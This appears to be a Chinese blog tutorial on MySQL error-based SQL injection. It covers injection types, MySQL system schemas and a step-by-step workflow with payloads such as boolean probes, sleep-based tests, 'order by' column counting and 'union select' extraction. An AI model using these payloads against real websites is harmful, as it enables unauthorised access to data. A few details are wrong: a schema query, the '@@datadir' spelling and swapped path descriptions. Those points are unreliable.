mysql注入——顯錯注入
一,sql注入的本質
注入攻擊的本質是:把用戶輸入的數據當作代碼執行。
注入的兩個關鍵條件:
1,用戶能控制輸入。
2,原本程序要執行的代碼,拼接了用戶輸入的數據。
sql注入就是在自帶的系統數據庫中查詢庫,表,字段,內容的過程
mysql內置自帶庫版本>=5
msyql庫 保存賬戶信息,權限信息,存儲過程,event,時區等信息
sys庫包含了一系列存儲過程,自定義函數以及視圖來幫助我們快速了解系統的元數據信息
performance_schema庫用於收集數據庫服務器的性能參數
information_schema庫存儲了關於mysql服務器維護的所有其他數據庫的信息,如數據庫,表,表的數據類型與訪問權限等。
查詢數據庫名稱語句
select schema_name from information_schema.schemata
查表
select table_name from information_schema.tables where table_name=庫名
查列
select column_name from information_schema.columns where table_name=表名
查數據
select 列名 from 庫名.表名
二,sql注入類型概括
按照注入點類型來分類
(1)數字型注入點
在 Web 端大概是 http://xxx.com/news.php?id=1 這種形式,其注入點 id 類型為數字,所以叫數字型注入點。這一類的 SQL 語句原型大概為 select * from 表名 where id=1。組合出來的sql注入語句為:select * from news where id=1 and 1=1
(2)字符型注入點
在 Web 端大概是 http://xxx.com/news.php?name=admin 這種形式,其注入點 name 類型為字符類型,所以叫字符型注入點。這一類的 SQL 語句原型大概為 select * from 表名 where name=‘admin’。注意多了引號。組合出來的sql注入語句為:select * from news where chr=‘admin’ and 1=1 ’ ’
閉合單引號chr=‘admin’ union select 1,2,3,4 and ‘1’='1 ====> chr=‘admin’(閉合前面單引號) union select 1,2,3,4 and ‘1’=‘1’
(3)搜索型注入點
這是一類特殊的注入類型。這類注入主要是指在進行數據搜索時沒過濾搜索參數,一般在鏈接地址中有“keyword=關鍵字”,有的不顯示在的鏈接地址里面,而是直接通過搜索框表單提交。此類注入點提交的 SQL 語句,其原形大致為:select * from 表名 where 字段 like ‘%關鍵字%’。
組合出來的sql注入語句為:select * from news where search like ‘%測試 %’ and ‘%1%’=’%1%’
測試%’ union select 1,2,3,4 and ‘%’=’
三,sql注入基本流程
1,判斷是否存在注入點
and 1=1 頁面返回正常
and 1=2 頁面返回不正常
URL后加單引號’ “ --+頁面返回不正常
or sleep(5)頁面5秒鍾后正常顯示
2,猜解字段數
利用order by 排序
order by 1 以第一個字段排序
select * from users order by 1;
第一個字段為id order by 1 就以第一個id字段來排序id從小到大排序
order by 2 以第二個字段排序
第二個字段為username字段內容為字符串
就以字符串開頭的26字母排序
當我們輸入order by 4時
發現沒有第四個字段那么數據表內就只有三個字段
3,聯合查詢尋找輸出點
union select 1,2,3,4#
tips:union select 聯合查詢前面語句要為假
找到網站的輸出點
在我們語句2的位置輸入要查詢數據的語句
union select 1,database(),3,4#
數據庫名就顯示出來了
4,mysql的函數及用法
sql注入測試中常用函數
group_concat()返回屬於一組的列值連接組合而成的結果
ascii() 返回字符串的ASCII值
database() 返回當前數據庫名
user() 或者 system_user()返回當前數據庫登陸用戶名
version()返回msyql數據庫版本
sleep(n) 讓數據庫運行n秒后返回結果
@@dataidir 返回數據庫安裝絕對路徑
@@basedir返回數據庫數據存儲絕對路徑